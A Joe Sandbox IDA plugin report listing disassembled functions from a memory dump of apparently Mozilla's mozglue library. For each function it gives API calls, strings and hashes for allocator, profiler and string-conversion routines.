Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 2835f94abc3693a73fe9690fc734885e35e85cbaeb98e0e2cb3cf792a382d4e4
Instruction ID: b090def86e75d36f04b62719fe1511bd04a1a27feb6fc257910c56431d95dc11
Opcode Fuzzy Hash: 2835f94abc3693a73fe9690fc734885e35e85cbaeb98e0e2cb3cf792a382d4e4
Instruction Fuzzy Hash: 81E0B670E65701ABEFC07FB6CD08B567FF8A76624CF00D516AA0899703EBB5C4008B50

Function 6CF275B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CF2748B,?), ref: 6CF275B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CF275D7
FreeLibrary.KERNEL32(?,6CF2748B,?), ref: 6CF275EC

Strings

ntdll.dll, xrefs: 6CF275B3
RtlNtStatusToDosError, xrefs: 6CF275D1

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 6f7a49cf6926fcbee8f6f8bab614297652e068bc5fe23d22b5653a0237c5fc9c
Instruction ID: 37733aa97c971aacaceec4abd9c066c8ef9899722e3e5d2092bb679176100982
Opcode Fuzzy Hash: 6f7a49cf6926fcbee8f6f8bab614297652e068bc5fe23d22b5653a0237c5fc9c
Instruction Fuzzy Hash: 8CE09271A25701ABEBC07FA6C848B45BEF8EBA721CF10D426A909D1603EBBD8451CF11

Function 6CF2BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CF2BE49), ref: 6CF2BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CF2BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CF2BE49), ref: 6CF2BF38
RtlReAllocateHeap.NTDLL ref: 6CF2BF83
RtlFreeHeap.NTDLL ref: 6CF2BFA6

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 6a36ae0fc89f0e471715926e6357f8c20b97e1fc37de261f77b04fc0b0dca762
Instruction ID: 5b08b263401509e0ae4ac4691d07e79aaebbd721acc1be176804d0a477c83ca8
Opcode Fuzzy Hash: 6a36ae0fc89f0e471715926e6357f8c20b97e1fc37de261f77b04fc0b0dca762
Instruction Fuzzy Hash: B9519571A002158FE724DFA9CD80B9AB3B2FF88314F294A39D95697B54D734F9068B90

Function 6CEC4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CEC4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CEC4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEC4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CEC4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CEC4F1E

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: aa5f4662af40c9e29289dcf0ac0132875dd5e9554afded6878fc15d3448dfebd
Instruction ID: a1dad433403cffbee5b7c7af20b1874ca3dcb050fa346653a03fb6f486a0fae5
Opcode Fuzzy Hash: aa5f4662af40c9e29289dcf0ac0132875dd5e9554afded6878fc15d3448dfebd
Instruction Fuzzy Hash: EC41E2716047459FC701CF28C48196BBBF4BF8A348F208A1EF8658B741D770E915CB92

Function 6CED1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CED152B,?,?,?,?,6CED1248,?), ref: 6CED159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CED152B,?,?,?,?,6CED1248,?), ref: 6CED15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CED152B,?,?,?,?,6CED1248,?), ref: 6CED15E7
free.MOZGLUE(?,?,?,?,?,?,6CED152B,?,?,?,?,6CED1248,?), ref: 6CED1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CED152B,?,?,?,?,6CED1248,?), ref: 6CED1637

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: f6223b8e07cc1f5024f039f9e3ee2f0cb0650958af21419fe6a03c858db88eb9
Instruction ID: a8ba9b2b2c61431b42b8ef5b62f14be591c86351147fa76205db27ccfaf66a5f
Opcode Fuzzy Hash: f6223b8e07cc1f5024f039f9e3ee2f0cb0650958af21419fe6a03c858db88eb9
Instruction Fuzzy Hash: C431EA71A001148BC7188EB8D85046E77B5BB863747360B6DE437DBBD4EB30F9068792

Function 6CF2AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CF3E330,?,6CEEC059), ref: 6CF2AD9D

Part of subcall function 6CEDCA10: malloc.MOZGLUE(?), ref: 6CEDCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CF3E330,?,6CEEC059), ref: 6CF2ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CF3E330,?,6CEEC059), ref: 6CF2AE01
GetLastError.KERNEL32(?,00000000,?,?,6CF3E330,?,6CEEC059), ref: 6CF2AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CF3E330,?,6CEEC059), ref: 6CF2AE3D

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: f66f989321790a391bcf75ea9921bab45acd9c24929ea1c6857a0bb74d9c5709
Instruction ID: 3458ecfb07ea7c5bac6559197a42c89d949fcf60d37e3726ca1fb57385aadd3d
Opcode Fuzzy Hash: f66f989321790a391bcf75ea9921bab45acd9c24929ea1c6857a0bb74d9c5709
Instruction Fuzzy Hash: 3A3154B1A007159FD750DF758C44AABB7F8EF48614F15882DE95AD7700E734D805C7A0

Function 6CF25EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CF3DCA0,?,?,?,6CEFE8B5,00000000), ref: 6CF25F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CEFE8B5,00000000), ref: 6CF25F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CEFE8B5,00000000), ref: 6CF25F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CEFE8B5,00000000), ref: 6CF25F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CEFE8B5,00000000), ref: 6CF25FD6

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 61dfff8ed99232c0adef6d4f952a1ffd18e49bc03704b19d892a2e25f3979b8a
Instruction ID: 4185aeddaadf15caae3a6f007385b6ebec167793a04167ef8989ded8b3dec62d
Opcode Fuzzy Hash: 61dfff8ed99232c0adef6d4f952a1ffd18e49bc03704b19d892a2e25f3979b8a
Instruction Fuzzy Hash: 9E3120347106008FD720DF69C498F2AB7F5FF99319BA48558E5568BB9AC735EC41CB80

Function 6CECB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CECB532
moz_xmalloc.MOZGLUE(?), ref: 6CECB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CECB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CECB57E
free.MOZGLUE(00000000), ref: 6CECB58F

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 1881565a086183e3517ead8b26212b0783e7e2c7b2fdb23bcab4b6adc1e683a9
Instruction ID: d5a9a9ceaf6db978944119ad80f9baf73022c30c8097aa2a4d021173dd0923bf
Opcode Fuzzy Hash: 1881565a086183e3517ead8b26212b0783e7e2c7b2fdb23bcab4b6adc1e683a9
Instruction Fuzzy Hash: F321D871F002059BDB009F68CD40BAABBBAFF56318F344129E928DB351E775D915CBA1

Function 6CF26E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CF26E78

Part of subcall function 6CF26A10: InitializeCriticalSection.KERNEL32(6CF4F618), ref: 6CF26A68
Part of subcall function 6CF26A10: GetCurrentProcess.KERNEL32 ref: 6CF26A7D
Part of subcall function 6CF26A10: GetCurrentProcess.KERNEL32 ref: 6CF26AA1
Part of subcall function 6CF26A10: EnterCriticalSection.KERNEL32(6CF4F618), ref: 6CF26AAE
Part of subcall function 6CF26A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CF26AE1
Part of subcall function 6CF26A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CF26B15
Part of subcall function 6CF26A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CF26B65
Part of subcall function 6CF26A10: LeaveCriticalSection.KERNEL32(6CF4F618,?,?), ref: 6CF26B83

MozFormatCodeAddress.MOZGLUE ref: 6CF26EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CF26EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CF26EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CF26EFF

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 11161c0066faca8b0085da5729edfd13eb24c13ea3e7c8dc73df31b803ad37be
Instruction ID: 7079301ce631af9a30ffc32328ebb783b451d9791b4547d32589e8adce358452
Opcode Fuzzy Hash: 11161c0066faca8b0085da5729edfd13eb24c13ea3e7c8dc73df31b803ad37be
Instruction Fuzzy Hash: 8021B071E0421A8FCF10DF69D88569E77F4EF88308F048439F80D97241EB749A488F92

Function 6CF276C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CF276F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CF27705

Part of subcall function 6CEDCA10: malloc.MOZGLUE(?), ref: 6CEDCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CF27717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CF2778F,00000000,00000000,00000000,00000000), ref: 6CF27731
free.MOZGLUE(00000000), ref: 6CF27760

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 6a3d16d49d0e18922436df73936be1acde3686e8e96da997626cda4b86f2497a
Instruction ID: acf7ed240f5b6b2db49e47cdc7a874375b8334e3fc43083c5b305cb0215a9574
Opcode Fuzzy Hash: 6a3d16d49d0e18922436df73936be1acde3686e8e96da997626cda4b86f2497a
Instruction Fuzzy Hash: 9211B6B1D012256BD710AFB6CC44B6B7EF8EF55354F144929F88897301E774984087F2

Function 6CF00D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CEC3DEF), ref: 6CF00D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CEC3DEF), ref: 6CF00D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CEC3DEF), ref: 6CF00DAF

Strings

<jemalloc>, xrefs: 6CF00D92, 6CF00DB9
: (malloc) Error in VirtualFree(), xrefs: 6CF00D97, 6CF00DBE

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 9c638413a8fca84295502b2a1f111693ae68b9f0bed94e6ee22997fb9ea55345
Instruction ID: 2d6fb8840523baaac5fed58e3de3f88ccb9c74d680b0f6f9fda6faf143ab4c1c
Opcode Fuzzy Hash: 9c638413a8fca84295502b2a1f111693ae68b9f0bed94e6ee22997fb9ea55345
Instruction Fuzzy Hash: 33F0B42239179422E72029660C1AF6B3A5D67C2F24F20C436F618DE9C2DEE0E400A7B4

Function 6CEED468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CEFCBE8: GetCurrentProcess.KERNEL32(?,6CEC31A7), ref: 6CEFCBF1
Part of subcall function 6CEFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CEC31A7), ref: 6CEFCBFA

EnterCriticalSection.KERNEL32(6CF4E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CEFD1C5), ref: 6CEED4F2
LeaveCriticalSection.KERNEL32(6CF4E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CEFD1C5), ref: 6CEED50B

Part of subcall function 6CECCFE0: EnterCriticalSection.KERNEL32(6CF4E784), ref: 6CECCFF6
Part of subcall function 6CECCFE0: LeaveCriticalSection.KERNEL32(6CF4E784), ref: 6CECD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CEFD1C5), ref: 6CEED52E
EnterCriticalSection.KERNEL32(6CF4E7DC), ref: 6CEED690
LeaveCriticalSection.KERNEL32(6CF4E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CEFD1C5), ref: 6CEED751

Strings

MOZ_CRASH(), xrefs: 6CEED4BB

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 37dd995abb3b3d42a5243ed2fce88bb20994a4ee41448be68aad0c2d3ffa49bb
Instruction ID: 94650ab1ff5822fd6665040547431d911b2efdaef010ae8a78b1ca1cb9238ec1
Opcode Fuzzy Hash: 37dd995abb3b3d42a5243ed2fce88bb20994a4ee41448be68aad0c2d3ffa49bb
Instruction Fuzzy Hash: 6751D175A047018FD364DF29C09075ABBF1EBC9358F258A2ED5A9C7B86E770E804CB51

Function 6CF146E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CF14721

Part of subcall function 6CEC4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CF03EBD,00000017,?,00000000,?,6CF03EBD,?,?,6CEC42D2), ref: 6CEC4444

Strings

., xrefs: 6CF1476A
-%llu, xrefs: 6CF14733
profiler-paused, xrefs: 6CF146E4

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: a6baa774e03bbef8c8cb3526f4b60fc82387348e8eb549c4c03a0a48d0770948
Instruction ID: dd458dee147253d987b18fc3566e2c25e682270edbd0d2b59759ff7ea81c39f9
Opcode Fuzzy Hash: a6baa774e03bbef8c8cb3526f4b60fc82387348e8eb549c4c03a0a48d0770948
Instruction Fuzzy Hash: 85312671F042085BCB08CF6CD88129EBFE69BC8318F24853EE8159BB81EB7498048B90

Function 6CF1B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEC4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CF03EBD,6CF03EBD,00000000), ref: 6CEC42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CF1B127), ref: 6CF1B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF1B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CF1B4E4

Strings

pid:, xrefs: 6CF1B4DE

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: debf772a087ec96ec088676f820e6220951c269e58df45e1309681ad0e65f611
Instruction ID: 548d12a2a65213164744d41ffd9639028839e5dc056e9dd5138b164144bd6e42
Opcode Fuzzy Hash: debf772a087ec96ec088676f820e6220951c269e58df45e1309681ad0e65f611
Instruction Fuzzy Hash: 2E31E5B1A05208DBDB10DFAAD880AEEB7B5FF45318F54492DD811A7F41D731A849CBA1

Function 6CF0E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CF0E577
AcquireSRWLockExclusive.KERNEL32(6CF4F4B8), ref: 6CF0E584
ReleaseSRWLockExclusive.KERNEL32(6CF4F4B8), ref: 6CF0E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CF0E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CF0E826, 6CF0E850
MOZ_PROFILER_STARTUP, xrefs: 6CF0E5A1, 6CF0E5CC, 6CF0E5FF, 6CF0E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CF0E722, 6CF0E750, 6CF0E7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CF0E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CF0E655

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: fc28817c583e1ff5af3dc774fa8e74b89ee5f01a0cd84397ba6c5561d5e51686
Instruction ID: 4fae819830ae2da85c733cb4b699276dc88e764ed1d0124b508bb4e12e4dd67d
Opcode Fuzzy Hash: fc28817c583e1ff5af3dc774fa8e74b89ee5f01a0cd84397ba6c5561d5e51686
Instruction Fuzzy Hash: 7811E531F10254DFCB40AF14C448B59BBF4FB8972CF448519E88547652DB709804CBD5

Function 6CF10C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CF10CD5

Part of subcall function 6CEFF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CEFF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CF10D40
free.MOZGLUE ref: 6CF10DCB

Part of subcall function 6CEE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CEE5EDB
Part of subcall function 6CEE5E90: memset.VCRUNTIME140(6CF27765,000000E5,55CCCCCC), ref: 6CEE5F27
